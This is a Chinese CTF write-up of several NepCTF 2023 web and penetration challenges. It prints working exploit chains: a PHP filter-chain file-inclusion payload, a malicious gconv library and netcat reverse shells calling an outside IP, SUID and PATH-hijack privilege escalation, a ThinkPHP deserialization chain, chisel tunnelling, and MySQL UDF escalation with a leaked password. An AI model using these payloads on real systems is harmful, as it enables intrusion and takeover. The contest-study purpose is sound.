OverView
题目质量挺好的,虽然没做出几道… 学到了很多东西, 体验很好。
Web
Ez_include
这题拿了个一血。桀桀。
题目很直接,就是一个文件包含题目
参考 lfi2rce-via-php-filters 可以知道,通过 php filters 可以生成任意的 php 代码,并通过文件包含进行执行
查看 phpinfo,可以知道禁用函数很多很多
fpassthru,fgetss,fgets,fopen,fread,show_souce,stream_socket_client,fsockopen,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,error_log,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive,pfsockopen,readfile,file_get_contents,file_put_contents,fputs,fwrite,delete,rmdir,rename,chgrp,chmod,chown,copy,chdir,mkdir,file,chroot,assert,dl,move_upload_file,sysmlink,readlink,curl_init,curl_exec
禁用的类也是
Exception,SplDoublyLinkedList,Error,ErrorException,ArgumentCountError,ArithmeticError,AssertionError,DivisionByZeroError,CompileError,ParseError,TypeError,ValueError,UnhandledMatchError,ClosedGeneratorException,LogicException,BadFunctionCallException,BadMethodCallException,DomainException,InvalidArgumentException,LengthException,OutOfRangeException,PharException,ReflectionException,RuntimeException,OutOfBoundsException,OverflowException,PDOException,RangeException,UnderflowException,UnexpectedValueException,JsonException,SplFileObject,SodiumException
并且还有 open_basedir:/var/www/html:/tmp
的限制,没办法简单跨目录读取文件
还可以知道是 apache2 环境而不是 php-fpm
发现只有 iconv modules
符合绕过条件,进行利用却提示上传文件失败。噢,居然把写文件的函数给禁用了。
参考 AntSword-Labs/bypass_disable_functions/9 和 https://hackmd.io/@byc404/HJBlno_3P 可以知道核心步骤就是上传 so 文件并且利用 GCONV_PATH 环境变量进行加载。但是上传文件的方法似乎是死了???联想到通过 POST 请求上传文件会在 tmp 目录下暂时保存为 phpxxxxxx 文件名。也许我们可以通过 FILE 变量进行上传?注意到 move_uploaded_file
函数没有被禁。所以得出 Exp:
首先准备以下文件:
gconv-modules
module PAYLOAD// INTERNAL ../../../../../../../../tmp/payload 2
module INTERNAL PAYLOAD// ../../../../../../../../tmp/payload 2
payload.c
#include <stdio.h>
#include <stdlib.h>
void gconv() {}
void gconv_init() {
const char* cmdline = getenv("EVIL_CMDLINE");
system(cmdline);
exit(0);
}
生成 payload.so
gcc payload.c -o payload.so -shared -fPIC
exp.txt (别问我为什么不直接读 /flag,测试了几次发现没权限)
<?php
putenv("GCONV_PATH=/tmp");
putenv("EVIL_CMDLINE=echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEzOS45LjIxMi4xNjAvMTkwMDIgMD4mMQo=|base64 -d|bash");
iconv("payload", "UTF-8", "whatever");
通过下面的脚本依次上传文件 gconv-modules
、payload.so
、exp.txt
import requests
# 参考 https://hackmd.io/@byc404/HJBlno_3P
url = 'http://nepctf.1cepeak.cn:31709/jump.php?link=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp'
# url 实际是 @eval($_REQUEST[1]);
files = {'file': ('filename.txt', open('./exp.txt', 'rb'))}
data = {'1': 'move_uploaded_file($_FILES["file"]["tmp_name"], "/tmp/exp.txt");'}
# 1=move_uploaded_file($_FILES["file"]["tmp_name"], "/tmp/".$_FILES["file"]["name"]);
proxy = {
'http': 'http://127.0.0.1:8080'
}
response = requests.post(url, files=files, data=data, proxies=proxy)
print(response.text)
最后访问 http://nepctf.1cepeak.cn:31709/jump.php?link=/tmp/exp
获得反弹 shell。是 www-data 用户,没有权限读 flag。但是注意到 suid 执行文件,旁边的 src.c 应该就是这个可执行文件的源码。
最后就是一个简单的环境变量劫持提权。
www-data@push-716ce59e7da9400d:/tmp$ echo '/bin/cat /flag' > cat
www-data@push-716ce59e7da9400d:/tmp$ chmod +x ./cat
www-data@push-716ce59e7da9400d:/tmp$ export PATH=/tmp:$PATH
www-data@push-716ce59e7da9400d:/tmp$ /showmsg
/showmsg
NepCTF{d61cc5f4-231e-4868-af05-75e1313bee95}
ez_java_checkin
很容易知道是 shiro 特征,并且可以爆破密钥直接 getshell
反弹 shell 后发现没有权限读取 flag,但是 find 命令有 suid 特权
关键步骤是
find / -type f -name "flag" -exec cat {} \;
NepcTF{Ezjava_Chekin}
独步天下-转生成为镜花水月中的王者
首先 nc 连上去就可以得到 shell,但是没有权限读取 flag
简单 ls /bin
发现 nmap 设置了 suid
参考 https://gtfobins.github.io/gtfobins/nmap/ 提权发现不行,回显 ports-alive
怎么连 port scan 的脚本都没有啊,那就自己编写一个, 得到 flag
/tmp $ echo '/bin/cat /flag' > ports-alive
echo '/bin/cat /flag' > ports-alive
/tmp $ chmod +x ports-alive
chmod +x ports-alive
/tmp $ export PATH=/tmp:$PATH
export PATH=/tmp:$PATH
/tmp $ nmap 127.0.0.1
nmap 127.0.0.1
假作真时真亦假,真作假时假亦真
flag{Everything_is_illusory}/tmp $
直接获得 root 权限
/tmp $ echo 'cat /tmp/f|/bin/sh -i 2>&1|nc 139.9.212.160 19002 >/tmp/f' > ports-alive
echo '/bin/cat /flag' > ports-alive
/tmp $ chmod +x ports-alive
chmod +x ports-alive
/tmp $ export PATH=/tmp:$PATH
export PATH=/tmp:$PATH
/tmp $ nmap 127.0.0.1
nmap 127.0.0.1
独步天下-破除虚妄_探见真实
通过题目提示进行 ping 发现只有 192.168.200.1 存在,先整整这个机器
根据提示,写了个扫描端口的脚本
#!/bin/sh
# 指定扫描的 IP 和端口范围
target_ip=192.168.200.1
start_port=1
end_port=8000
# 清空或创建结果文件
> result.txt
# 遍历指定的端口范围
current_port=$start_port
while [ "$current_port" -le "$end_port" ]
do
echo "正在扫描端口 $current_port ..."
# 构建 HTTP 请求并使用 nc 进行扫描
request="GET / HTTP/1.1\\r\\nHost: $target_ip\\r\\n\\r\\n"
echo -e "$request" | timeout 0.2 nc $target_ip $current_port >> result.txt 2>/tmp/errorlog
# 检查是否连接成功并写入结果文件
if [ $? -eq 0 ]; then
echo "成功连接到端口 $current_port" >> result.txt
fi
current_port=$((current_port + 1))
done
echo "扫描完成,结果已保存到 result.txt 文件。"
可以看到有 80 端口和 82 端口,用 chisel 进行端口转发
./chisel server --reverse --port 19999 # vps
./chisel client 104.208.90.240:19999 R:19998:192.168.200.1:82 #目标机器
其中 80 端口是 ZengCMS 1.0.0 没有披露漏洞。但是 82 端口是一个摄像机控制台,存在一个 ping 的功能可能存在漏洞,稍微测试了一下发现是可以 ping 通外网的。
测试发现 %0a 可以绕过从而实现命令执行
读取 ping.c (看到过滤就知道不能简单的反弹 shell 了)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
//gcc -shared -o libping.so ping.c -fPIC
bool validate_input(const char *input) {
const char *invalid_chars[] = {"sh","chown","chmod","echo","+","&", "|", ";", "$", ">", "<", "`", "\\", "\"", "'", "(", ")", "{", "}", "[", "]"};
int num_invalid_chars = sizeof(invalid_chars) / sizeof(char *);
for (int i = 0; i < num_invalid_chars; i++) {
if (strstr(input, invalid_chars[i])) {
return false;
}
}
return true;
}
void ping(const char *ip_address, char *result) {
if (!validate_input(ip_address)) {
strcpy(result, "Error: Invalid input.");
return;
}
char cmd[256];
snprintf(cmd, sizeof(cmd), "ping -c 2 %s", ip_address);
FILE *fp = popen(cmd, "r");
if (fp == NULL) {
strcpy(result, "Error: Failed to execute command.");
return;
}
char buffer[4096*2];
while (fgets(buffer, sizeof(buffer), fp) != NULL) {
strcat(result, buffer);
}
pclose(fp);
}
ls -al
drwxr-xr-x 1 ctfuser ctfuser 4096 Aug 13 03:04 .
drwxr-xr-x 1 root root 4096 Aug 13 03:04 ..
-rw-r--r-- 1 ctfuser ctfuser 1780 Jul 21 00:06 app.py
-rw-r--r-- 1 ctfuser ctfuser 11827072 Jun 21 06:56 bzImage
-rw-r--r-- 1 ctfuser ctfuser 869 Jun 21 07:36 ctf.xinetd
-rwxr-xr-x 1 root root 18248 Aug 2 14:12 identity
-rw-r--r-- 1 ctfuser ctfuser 4951 Jul 21 14:52 identity.c
-rwxr-xr-x 1 root root 8264 Aug 2 14:12 libping.so
-rw-r--r-- 1 ctfuser ctfuser 1396 Jul 30 03:49 nohup.out
-rw-r--r-- 1 ctfuser ctfuser 1054 Jul 21 00:25 ping.c
-rw-r--r-- 1 ctfuser ctfuser 24133120 Jul 17 10:02 rootfs.cpio
-rwxr-xr-x 1 ctfuser ctfuser 1300 Jun 21 08:32 run.sh
-rwxr-xr-x 1 ctfuser ctfuser 117 Jul 20 15:35 start.sh
drwxr-xr-x 1 ctfuser ctfuser 4096 Jul 20 13:25 static
drwxr-xr-x 1 ctfuser ctfuser 4096 Jul 20 13:25 templates
id
uid=1000(ctfuser) gid=1000(ctfuser) groups=1000(ctfuser)
ls -al /
drwxr-xr-x 1 root root 4096 Aug 13 03:04 .
drwxr-xr-x 1 root root 4096 Aug 13 03:04 ..
-rwxr-xr-x 1 root root 0 Aug 13 03:04 .dockerenv
drwxr-xr-x 1 ctfuser ctfuser 4096 Aug 13 03:04 app
drwxr-xr-x 1 root root 4096 Jul 21 13:01 bin
drwxr-xr-x 2 root root 4096 Apr 24 2018 boot
drwxr-xr-x 6 root root 360 Aug 13 03:04 dev
drwxr-xr-x 1 root root 4096 Aug 13 03:04 etc
---------- 1 mysql mysql 26 Aug 2 14:12 flag
-rwxrw---- 1 ctf ctf 154 Aug 2 14:12 flag_mini
drwxr-xr-x 1 root root 4096 Jul 21 13:02 home
drwxr-xr-x 1 root root 4096 Jul 21 13:01 lib
drwxr-xr-x 2 root root 4096 Jul 21 13:01 lib32
drwxr-xr-x 1 root root 4096 Jul 21 13:00 lib64
drwxr-xr-x 2 root root 4096 Sep 30 2021 media
drwxr-xr-x 2 root root 4096 Sep 30 2021 mnt
drwxr-xr-x 2 root root 4096 Sep 30 2021 opt
dr-xr-xr-x 1146 root root 0 Aug 13 03:04 proc
drwx------ 2 root root 4096 Sep 30 2021 root
drwxr-xr-x 1 root root 4096 Aug 13 03:09 run
drwxr-xr-x 1 root root 4096 Jul 21 13:01 sbin
drwxr-xr-x 2 root root 4096 Sep 30 2021 srv
dr-xr-xr-x 13 root root 0 Aug 13 03:04 sys
drwxrwxrwt 1 root root 4096 Aug 13 03:04 tmp
drwxr-xr-x 1 root root 4096 Jul 21 13:01 usr
drwxr-xr-x 1 root root 4096 Jul 21 13:00 var
cat app.py
import os
import ctypes
import ctypes.util
import time
os.environ['FLASK_ENV'] = 'production'
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './'
lib_name='./libping.so'
def load_ping_library():
# 加载共享库
mylib = ctypes.CDLL(lib_name)
return mylib
mylib = load_ping_library()
@app.route('/')
def index():
return render_template('index.html')
@app.route('/ping', methods=['POST'])
def ping():
global mylib
ip_address = request.form['ip_address']
result = ctypes.create_string_buffer(4096*2)
mylib.ping(ip_address.encode('utf-8'), result)
return result.value.decode('utf-8')
@app.route('/upload_avatar', methods=['POST'])
def upload_avatar():
if request.headers.get('X-Forwarded-For') != '127.0.0.1':
return "You are not allowed to upload files from this IP address." + " Your IP is: " + request.headers.get('X-Forwarded-For')
if 'file' not in request.files:
return redirect(request.url)
file = request.files['file']
if file.filename == '':
return redirect(request.url)
if not allowed_file(file.filename):
return 'Invalid file format. Only PNG files are allowed.'
# 限制文件大小为 5KB
MAX_FILE_SIZE = 5 * 1024
if len(file.read()) > MAX_FILE_SIZE:
return 'File too large. Maximum size is 5KB.'
# 将文件保存到服务器
file.seek(0) # 重置文件读取指针
file.save(os.path.join(app.config['UPLOAD_FOLDER'], 'avatar.png'))
return redirect(url_for('index'))
def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower() == 'png'
if __name__ == '__main__':
app.run(host='0.0.0.0',port=82,debug=False,use_reloader=False)
cat identity.c (注意到在 9999 端口处开了服务,并且设置了 uid 1001,这不正好可以利用这个读取 /flag_mini ? 不过比较坑的就是连接一次服务就退出了,需要重新开环境)
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <sched.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/seccomp.h>
#include <openssl/md5.h>
#include <sys/resource.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdint.h>
//gcc -o test1 test1.c -lcrypto -lm -lrt
void init_dir() {
int fd=open("/home/ctf/sandbox/",O_RDONLY);
if(fd<2) {
exit(0);
}
MD5_CTX ctx;
char md5_res[17]="";
char key[100]="NEPCTF_6666";
char sandbox_dir[100]="/home/ctf/sandbox/";
char dir_name[100]="/home/ctf/sandbox/";
FILE *new_pip;
int i;
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
struct rlimit r;
r.rlim_max = r.rlim_cur = 0;
setrlimit(RLIMIT_CORE, &r);
memset(key, 0, sizeof(key));
MD5_Init(&ctx);
MD5_Update(&ctx, key, strlen(key));
MD5_Final(md5_res, &ctx);
for (int i = 0; i < 16; i++)
sprintf(&(dir_name[i*2 + 18]), "%02hhx", md5_res[i]&0xff);
char cmd[100];
mkdir(dir_name, 0755);
if (chdir(dir_name)==-1) {
puts("chdir err, exiting\n");
exit(1);
}
sprintf(cmd,"%s%s","chmod 777 ",dir_name);
system(cmd);
mkdir("bin", 0777);
mkdir("lib", 0777);
mkdir("lib64", 0777);
mkdir("lib/x86_64-linux-gnu", 0777);
system("cp /bin/bash bin/sh");
system("cp /lib/x86_64-linux-gnu/libdl.so.2 lib/x86_64-linux-gnu/");
system("cp /lib/x86_64-linux-gnu/libc.so.6 lib/x86_64-linux-gnu/");
system("cp /lib/x86_64-linux-gnu/libtinfo.so.5 lib/x86_64-linux-gnu/");
system("cp /lib64/ld-linux-x86-64.so.2 lib64/");
if (chroot(".") == -1) {
puts("chroot err, exiting\n");
exit(1);
}
}
void command(int server_socket,int client_socket) {
char buf[0x666];
memset(buf,0,0x666);
write(client_socket,"Tmp-Command:",sizeof("Tmp-Command:"));
read(client_socket, buf, 0x10);
setgid(1001);
setuid(1001);
popen(buf,"w");
}
int get_ip_address(const char *interface_name, char *ip_address) {
int sockfd;
struct ifreq ifr;
// Create a socket
sockfd = socket(AF_INET, SOCK_DGRAM, 0);
if (sockfd < 0) {
perror("Socket creation failed");
return -1;
}
// Set the interface name in the ifreq structure
strncpy(ifr.ifr_name, interface_name, IFNAMSIZ - 1);
ifr.ifr_name[IFNAMSIZ - 1] = '\0';
// Get the IP address using the SIOCGIFADDR ioctl request
if (ioctl(sockfd, SIOCGIFADDR, &ifr) == -1) {
perror("ioctl failed");
close(sockfd);
return -1;
}
close(sockfd);
// Convert the binary IP address to a human-readable string
struct sockaddr_in *addr = (struct sockaddr_in *)&ifr.ifr_addr;
strcpy(ip_address, inet_ntoa(addr->sin_addr));
return 0;
}
int main(int argc, char **argv) {
init_dir();
int flag=1;
// Server setup
int server_socket, client_socket;
struct sockaddr_in server_addr, client_addr;
socklen_t client_len = sizeof(client_addr);
// Create socket
server_socket = socket(AF_INET, SOCK_STREAM, 0);
if (server_socket < 0) {
perror("Socket creation failed");
exit(0);
}
// Set up server address
memset(&server_addr, 0, sizeof(server_addr));
server_addr.sin_family = AF_INET;
server_addr.sin_addr.s_addr = INADDR_ANY;
server_addr.sin_port = htons(9999);
// Bind socket to address and port
if (bind(server_socket, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {
perror("Bind failed");
exit(0);
}
// Listen for incoming connections
if (listen(server_socket, 1) < 0) {
perror("Listen failed");
exit(0);
}
printf("Server is listening on port 9999...\n");
// Accept connection from client
client_socket = accept(server_socket, (struct sockaddr *)&client_addr, &client_len);
if (client_socket < 0) {
client_socket = accept(server_socket, (struct sockaddr *)&client_addr, &client_len);
}
char client_ip[INET_ADDRSTRLEN];
inet_ntop(AF_INET, &client_addr.sin_addr, client_ip, INET_ADDRSTRLEN);
printf("Client connected from IP: %s\n", client_ip);
char ip_address[INET_ADDRSTRLEN];
const char *interface_name = "eth0";
if (get_ip_address(interface_name, ip_address) == 0) {
printf("IP address of eth0: %s\n", ip_address);
} else {
printf("Failed to get the IP address of eth0.\n");
}
while(flag) {
if(strcmp(client_ip,ip_address)) {
send(client_socket,"Only nc by localhost!\n",sizeof("Only nc by localhost!\n"),0);
exit(0);
} else {
flag=0;
}
}
command(server_socket,client_socket);
return 0;
}
下面先想办法得到一个反弹 shell
首先修改 XFF 上传 Python 代码
然后通过命令执行
监听就好了
我寻思根据 identity.c
的代码内容查看以下 eth0
网关的 ip 用 nc 连接一下就可以读取 /flag_mini
,但是我到最后死都想不明白,怎么执行不了命令?我的 xx 文件去哪了。
睡觉去了。就这样吧。
等别人题解来复现 —– 2023.8.14 0:03
ok, 开始复现 —- 2023.8.15
看了 https://boogipop.com/2023/08/14/NepCTF%202023%20All%20WriteUP/#%E7%8B%AC%E6%AD%A5%E5%A4%A9%E4%B8%8B-%E7%A0%B4%E9%99%A4%E8%99%9A%E5%A6%84-%E6%8E%A2%E8%A7%81%E7%9C%9F%E5%AE%9E 别人的题解后才发现是自己吃了不会 C 语言的亏。大致就是 identity.c 中的文件操作没有关闭流,可以通过编写代码连接父进程继续进行文件的操作。由于 /home/ctf/sandbox/
沙盒下的 /bin
目录没有其它命令,我们不能直接用 sh 或者 bash 进行命令执行。
流程如下:
编写这样的 C 代码
#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>
int main() {
const char* filename = "../../../../flag_mini";
int fd = openat(3, filename, O_CREAT | O_WRONLY);
if (fd == -1) {
// 处理打开文件失败的情况
printf("1");
}
// 更改文件权限为 777
if (fchmod(fd, S_IRWXU | S_IRWXG | S_IRWXO) == -1) {
// 处理更改文件权限失败的情况
printf("2");
}
// 使用新文件进行操作...
return 0;
}
将这个 C 代码上传到目标机器上并编译(注意目标机器上面是没有 curl 命令的,我们需要自己编写相关函数)
function __curl() {
read proto server path <<<$(echo ${1//// })
DOC=/${path// //}
HOST=${server//:*}
PORT=${server//*:}
[[ x"${HOST}" == x"${PORT}" ]] && PORT=80
exec 3<>/dev/tcp/${HOST}/$PORT
echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
(while read line; do
[[ "$line" == $'\r' ]] && break
done && cat) <&3
exec 3>&-
}
将编译好的执行文件移动到沙盒目录中,再连接 nc 进行执行。
然后就可以读取 flag_mini 了
独步天下-破除试炼_加冕成王
这题看了题解后才发现真的是要审计 80 端口的 ZengCMS 1.0.0。挖 0 day。
前面已经看到了根目录下存在有 /flag
但是是 000 权限,并且所有者还是 mysql。这时候唯一能够知道 sql 密码的只有在 /var/www/html 的配置文件中才能看到。不过,我们是没有权限访问这个目录的。
用 PHPStudy 搭建好 ZengCMS 环境以后,就可以进行测试了。我们注意到 ZengCMS 使用了 thinkphp 6.0.0
如果找到合适的反序列化入口则会造成任意文件写入。参考 https://www.hacking8.com/bug-web/Thinkphp/Thinkphp-6.x-%E6%BC%8F%E6%B4%9E/Thinkphp-6.0-%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%86%99%E5%85%A5pop%E9%93%BE.html 不难构造出序列化连
D:\phpstudy_pro\WWW\ZengCMS\vendor\ser.php
<?php
namespace League\Flysystem\Cached\Storage;#AbstractCache Adapter
use League\Flysystem\Adapter\Local;
abstract class AbstractCache{
protected $autosave = true;
protected $cache = [];
protected $complete = [];
function __construct(){
$this->autosave = false;
$this->cache = ['test'];
$this->complete = ["axin"=>"<?php phpinfo();?>"];
}
}
class Adapter extends AbstractCache{
protected $adapter;
protected $file;
protected $expire = null;
function __construct(){
parent::__construct();
$this->adapter = new Local();
#$this->file = "var/www/html/index.php";
#D:\phpstudy_pro\WWW\ZengCMS\vendor\ser.php
$this->file = "://phpstudy_pro/WWW/ZengCMS/vendor/poccccccccccccccccccccccccccccc.php"; #winsows下目录
$this->expire = 123;
}
}
namespace League\Flysystem\Adapter;
abstract class AbstractAdapter{
protected $pathPrefix;
function __construct(){
#$this->pathPrefix = "/";
$this->pathPrefix = "D"; #windows下目录
}
}
class Local extends AbstractAdapter{
}
use League\Flysystem\Cached\Storage\Adapter;
echo base64_encode(serialize(new Adapter()));
通过 Seay 审计发现,ZengCMS 会对 Cookie 中的 admin_auth_cookie
内容进行反序列化操作
但是还套了一层加密函数并且 think_decrypt
和 think_encrypt
函数都是自定义的。最简单的办法就是直接修改 admin 上面的路由,也就是 D:\phpstudy_pro\WWW\ZengCMS\app\admin\controller\Index.php
如下:
访问之就可以拿到我们需要的 Payload
而反序列化的触发点显然是 /admin/*
然后就可以发现创建了 php 文件了
按照上述步骤,我们非常容易上传一个 Payload 到目标机器上
读取 database.php 就可以知道数据库用户名和密码了
利用直接 Python 反弹回来的 shell,依次执行
mysql -uroot -p456456zxc+123666 -D zengcms -e 'select user();'
mysql -uroot -p456456zxc+123666 -D zengcms -e 'select @@secure_file_priv;'
mysql -uroot -p456456zxc+123666 -D zengcms -e 'select @@plugin_dir;'
符合 udf 提权
然后参考 https://www.sqlsec.com/udf/ 试了好久手动 SELECT INTO DUMPFILE 都不行。mysql 终端限制了长度,并且拼接还总是执行失败
索性上传一个 chisel 将 3306 端口转发出来,直接借助 msf 上传恶意的 so 文件
然后回到 shell 上,就可以发现 so 文件上传成功了
select * from mysql.func where name = "sys_exec";
0 表示执行成功,1 表示失败
最终 cat flag 即可